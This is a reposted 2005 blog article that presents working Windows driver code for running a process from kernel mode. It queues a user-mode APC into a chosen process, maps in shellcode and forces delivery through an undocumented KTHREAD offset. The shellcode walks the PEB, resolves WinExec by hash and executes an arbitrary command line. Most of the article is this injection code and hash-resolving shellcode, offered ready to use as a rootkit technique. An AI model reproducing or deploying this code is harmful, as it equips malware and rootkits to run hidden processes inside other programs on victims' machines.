LionD8' Blog

明志. 博学. 笃行

用户操作
[即时聊天] [发私信] [加为好友]
陈陈ID:LionD8
80862次访问,排名1295(1),好友0人,关注者9人。
LionD8的文章
原创 35 篇
翻译 1 篇
转载 9 篇
评论 55 篇
LionD8的公告
最近评论
jiafanbingjosh:这文章太好了
zhegaozhouji:哇塞~~ 大牛啊!
safer:D8 要买房子了
sweet:不但有全局变量,还有改了入口5个字节的函数,如果可以重入,都会导致问题的。
boli:啥都往内核里面整~ 不管对系统健壮性有没有危险,对系统效率有没有影响~ ;p
文章分类
收藏
    相册
    黑黑
    生活中的朋友和同学
    我的相册
    杂物
    ebook
    chinaitlab
    netYi专业电脑电子书库
    中国E书网
    国外站1
    国外站2
    PHP
    php5研究室
    phpchina
    安全相关
    astalavista
    BlackHat
    ccert
    elitehackers
    frsirt
    h4cky0u
    intrusion
    marc.theaimsgroup
    milw0rm
    networkintrusion
    packetstormsecurity
    securityfocus
    securitytracker
    WhiteCell
    中华安全网
    中国讯息安全网
    安全焦点
    幻影旅团
    重庆网络安全小组
    留言本
    朋友的Blog【非IT】
    YY的博客
    无线网络
    无线网络安全
    系统/编程
    CVC
    jiurl Home
    Kendiv的专栏
    OSR Online
    RootKit
    sourceforge
    SysInternals
    TheCodeProject
    VC知识库
    Windows Developer's Journal
    陆麟的主页
    驱动开发网
    兄弟伙的Blog
    alpha兄的好东西
    CDrea' s Blog
    Darkness Blog
    ffantasyYD的专栏
    Gxter的Blog
    heiyeluren's Blog
    lanker 's Blog
    looooo 's blog
    shadow3 's Blog
    孤独's Blog
    慕容小雨的Blog
    梁上君子Blog
    翼帆Blog
    娱乐
    flyinufo的相册
    存档
    软件项目交易
    订阅我的博客
    XML聚合  FeedSky
    订阅到鲜果
    订阅到Google
    订阅到抓虾
    订阅到BlogLines
    订阅到Yahoo
    订阅到GouGou
    订阅到飞鸽
    订阅到Rojo
    订阅到newsgator
    订阅到netvibes

    原创 CreateProcess in KernelMode[转]收藏

    新一篇: Windows Rootkit相关链接[转] | 旧一篇: 利用调用门从Ring 3进入Ring 0[转]

    CreateProcess in KernelMode!
    作者:valerino
    Showtime : *WORKING* CreateProcess in KernelMode!
     
     By: valerino
    I don't think this code needs any comment. 
    Say welcome to usermode calls in kernel land..... with this technique you can even call MessageBox from inside your driver. 
    No more ugly non-working phrack samples, this is the real stuff :)




    1) The APC injector

    //************************************************************************
    // NTSTATUS UtilInstallUserModeApcForCreateProcess(char* CommandLine, PKTHREAD pTargetThread, PKPROCESS pTargetProcess)
    //
    // Setup usermode APC to execute a process                                                                     
    //************************************************************************/
    NTSTATUS UtilInstallUserModeApcForCreateProcess(char* CommandLine, PKTHREAD pTargetThread, PEPROCESS pTargetProcess)
    {
        PRKAPC pApc = NULL;
        PMDL pMdl = NULL;
        PVOID MappedAddress = NULL;

        ULONG size;
        KAPC_STATE ApcState;
        PKEVENT pEvent = NULL;

        // check params
        if (!pTargetThread || !pTargetProcess)
            return STATUS_UNSUCCESSFUL;

        // allocate memory for apc and event
        pApc = ExAllocatePool (NonPagedPool,sizeof (KAPC));
        if (!pApc)
            return STATUS_INSUFFICIENT_RESOURCES;

        pEvent = ExAllocatePool (NonPagedPool,sizeof (KEVENT));
        if (!pEvent)
        {
            ExFreePool (pApc);
            return STATUS_INSUFFICIENT_RESOURCES;
        }

        // allocate mdl big enough to map the code to be executed
        size = (unsigned char*)UtilUserApcCreateProcessEnd - (unsigned char*)UtilUserApcCreateProcess;
        pMdl = IoAllocateMdl (UtilUserApcCreateProcess, size, FALSE,FALSE,NULL);
        if (!pMdl)
        {
            ExFreePool (pEvent);
            ExFreePool (pApc);
            return STATUS_INSUFFICIENT_RESOURCES;
        }

        // lock the pages in memory
        __try
        {
            MmProbeAndLockPages (pMdl,KernelMode,IoWriteAccess);
        }
        __except (EXCEPTION_EXECUTE_HANDLER)
        {
            IoFreeMdl (pMdl);
            ExFreePool (pEvent);
            ExFreePool (pApc);
            return STATUS_UNSUCCESSFUL;
        }

        // map the pages into the specified process
        KeStackAttachProcess (pTargetProcess,&ApcState);
        MappedAddress = MmMapLockedPagesSpecifyCache (pMdl,UserMode,MmCached,NULL,FALSE,NormalPagePriority);

        if (!MappedAddress)
        {
            // cannot map address
            KeUnstackDetachProcess (&ApcState);
            IoFreeMdl (pMdl);
            ExFreePool (pEvent);
            ExFreePool (pApc);
            return STATUS_UNSUCCESSFUL;
        }

        // copy commandline
        memset ((unsigned char*)MappedAddress + 160, 0, 260);
        memcpy ((unsigned char*)MappedAddress + 160, CommandLine,strlen (CommandLine));

        KeUnstackDetachProcess (&ApcState);

        // initialize apc
        KeInitializeEvent(pEvent,NotificationEvent,FALSE);
        KeInitializeApc(pApc,pTargetThread, OriginalApcEnvironment,&UtilUserApcCreateProcessKernelRoutine,
            NULL, MappedAddress, UserMode, (PVOID) NULL);

        // schedule apc
        if (!KeInsertQueueApc(pApc,pEvent,NULL,0))
        {
            // failed apc delivery
            MmUnlockPages(pMdl);
            IoFreeMdl (pMdl);
            ExFreePool (pEvent);
            ExFreePool (pApc);
            return STATUS_UNSUCCESSFUL;
        }
        
        // and fire it by manually alerting the thread (for reference, this set the KTHREAD.ApcState.KernelApcInProgress)
        // beware, this could be not compatible with everything ..... it works on 2k/XP anyway, tested on SP2 too.....
        *((unsigned char *)pTargetThread+0x4a)=1;

        // apc is fired, wait event to signal completion
        KeWaitForSingleObject (pEvent,Executive,KernelMode,FALSE,NULL);

        // free event
        ExFreePool (pEvent);

        // unmap and unlock pages / mdl . Note that there's no need to call MmUnmapLockedPages on paged locked with MmProbeAndLockPages,
        // since MmUnlockPages does this for us automatically.
        MmUnlockPages(pMdl);
        IoFreeMdl (pMdl);

        return STATUS_SUCCESS;
    }

    2) This routine just frees the APC allocated memory as soon as it's fired

    //************************************************************************
    // VOID UtilUserApcCreateProcessKernelRoutine( IN struct _KAPC *Apc, IN OUT PKNORMAL_ROUTINE *NormalRoutine,
    // IN OUT PVOID *NormalContext, IN OUT PVOID *SystemArgument1, IN OUT PVOID *SystemArgument2 )
    //
    // This routine just frees the APC                                                                     
    //************************************************************************/
    VOID UtilUserApcCreateProcessKernelRoutine( IN struct _KAPC *Apc, IN OUT PKNORMAL_ROUTINE *NormalRoutine,
        IN OUT PVOID *NormalContext, IN OUT PVOID *SystemArgument1, IN OUT PVOID *SystemArgument2 )
    {
        PKEVENT pEvent;

        KDebugPrint (1,("%s APC KernelRoutine called, freeing APC.\n", MODULE));

        // free apc
        ExFreePool(Apc);

        // set event to signal apc execution
        pEvent = (PKEVENT)*SystemArgument1;
        KeSetEvent (pEvent,IO_NO_INCREMENT,FALSE);
    }

    3) This is the usermode routine launched by the APC. It gets Kernel32 base and find imports by a hash, then calls winexec (simpler
       than call createprocess, but anyway this is just an example....).
       
       Use this NASM macro to calculate the needed hashes for whatever usermode functions you may need to call :
          
          ;
          ; HASH - NASM macro for calculating win32 symbol hashes
          ; Usage: HASH instruction, 'SymbolName'
          ;
          %macro HASH 2
              %assign i 1            ; i = 1
              %assign h 0            ; h = 0
              %strlen len %2            ; len = strlen(%2)
              %rep len
                  %substr char %2 i    ; fetch next character
                  %assign h \
                      (h<<0x13) + \
                      (h>>0x0d) + \
                      char        ; rotate and add
                  %assign i i+1        ; increment i
              %endrep
              %1 h                ; return instruction with hash
          %endmacro

       I can't remember where i got this shellcode, it was lying already modified on my hd for long time. Anyway it's not mine....
       i just rearranged it to my needs. Whoever recognizes it as his code, email me at valeryno@hotmail.com and i'll put the proper credits :)

    //************************************************************************
    // void UtilUserApcCreateProcess(PVOID NormalContext, PVOID  SystemArgument1, PVOID SystemArgument2)
    //
    // This is where we call createprocess. We're in usermode here :)                                                                     
    //************************************************************************/
    __declspec(naked) void UtilUserApcCreateProcess(PVOID NormalContext, PVOID  SystemArgument1, PVOID SystemArgument2)
    {
        __asm 
        {
            push ebp
            mov     ebp,esp
            push ebx
            push esi
            push edi
            jmp  __startup;                   ; these are just functions.... skip    

    __find_kernel32:
            push  esi                         ; Save esi
            push  0x30
            pop   ecx
            mov   eax, fs:[ecx]               ; Extract the PEB
            mov   eax, [eax + 0x0c]           ; Extract the PROCESS_MODULE_INFO pointer from the PEB
            mov   esi, [eax + 0x1c]           ; Get the address of flink in the init module list
            lodsd                             ; Load the address of blink into eax
            mov   eax, [eax + 0x8]            ; Grab the module base address from the list entry
            pop   esi                         ; Restore esi
            ret                               ; Return

    __find_function:
            pushad                            ; Save all registers
            mov   ebp, [esp + 0x24]           ; Store the base address in eax
            mov   eax, [ebp + 0x3c]           ; PE header VMA
            mov   edx, [ebp + eax + 0x78]     ; Export table relative offset
            add   edx, ebp                    ; Export table VMA
            mov   ecx, [edx + 0x18]           ; Number of names
            mov   ebx, [edx + 0x20]           ; Names table relative offset
            add   ebx, ebp                    ; Names table VMA

    __find_function_loop:
            jecxz __find_function_finished    ; Jump to the end if ecx is 0
            dec   ecx                         ; Decrement our names counter
            mov   esi, [ebx + ecx * 4]        ; Store the relative offset of the name
            add   esi, ebp                    ; Set esi to the VMA of the current name

            xor   edi, edi                    ; Zero edi
            xor   eax, eax                    ; Zero eax
            cld                               ; Clear direction

    __compute_hash_again:
            lodsb                             ; Load the next byte from esi into al
            test  al, al                      ; Test ourselves.
            jz    __compute_hash_finished     ; If the ZF is set, we've hit the null term.
            ror   edi, 0xd                    ; Rotate edi 13 bits to the right
            add   edi, eax                    ; Add the new byte to the accumulator
            jmp   __compute_hash_again        ; Next iteration

    __compute_hash_finished:         
            cmp   edi, [esp + 0x28]           ; Compare the computed hash with the requested hash
            jnz   __find_function_loop        ; No match, try the next one.
            mov   ebx, [edx + 0x24]           ; Ordinals table relative offset
            add   ebx, ebp                    ; Ordinals table VMA
            mov   cx, [ebx + 2 * ecx]         ; Extrapolate the function's ordinal
            mov   ebx, [edx + 0x1c]           ; Address table relative offset
            add   ebx, ebp                    ; Address table VMA
            mov   eax, [ebx + 4 * ecx]        ; Extract the relative function offset from its ordinal
            add   eax, ebp                    ; Function VMA
            mov   [esp + 0x1c], eax           ; Overwrite stack version of eax from pushad

    __find_function_finished:
            popad                             ; Restore all registers
            ret 8

    __begin:
            nop
            pop edi                        ; Pop address
            mov ebx, __execute
            sub ebx, __command_line
            sub edi, ebx                ; filename offset
            mov esi,edi                 ; filename to edi
            call __find_kernel32        ; Find kernel32 address
            mov ebx, eax                ; Save address in ebx
            jmp short __execute         ; Skip data

    __startup:
            call __begin                ; Fetch our data address


    __execute:
            push 0x0e8afe98             ; WinExec hash
            push ebx                   ; kernel32 base address
            call __find_function        ; find address

            xor ecx,ecx
            inc ecx                 ; ecx = 1
            push ecx                ; uCmdShow
            push esi                ; lpCmdLine. We already have the exe path in esi
            call eax                ; call WinExec 
            jmp __end

    __command_line:                    ; Space (~300 bytes) for commandline
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
            nop
    __end:
            pop edi        ; restore registers
            pop esi
            pop ebx
            pop ebp
            ret 0x0c
        }
    }

    //************************************************************************
    // void UtilUserApcCreateProcessEnd()
    //
    // This is just a reference to calculate size of the above usermode apc routine                                                                     
    //************************************************************************/
    void UtilUserApcCreateProcessEnd()
    {
        
    }



    The end. 
    Cowabunga,
    Valerio

    发表于 @ 2005年07月21日 23:39:00|评论(loading...)|编辑

    新一篇: Windows Rootkit相关链接[转] | 旧一篇: 利用调用门从Ring 3进入Ring 0[转]

    评论:没有评论。

    发表评论  


    当前用户设置只有注册用户才能发表评论。如果你没有登录,请点击登录
    Csdn Blog version 3.1a
    Copyright © LionD8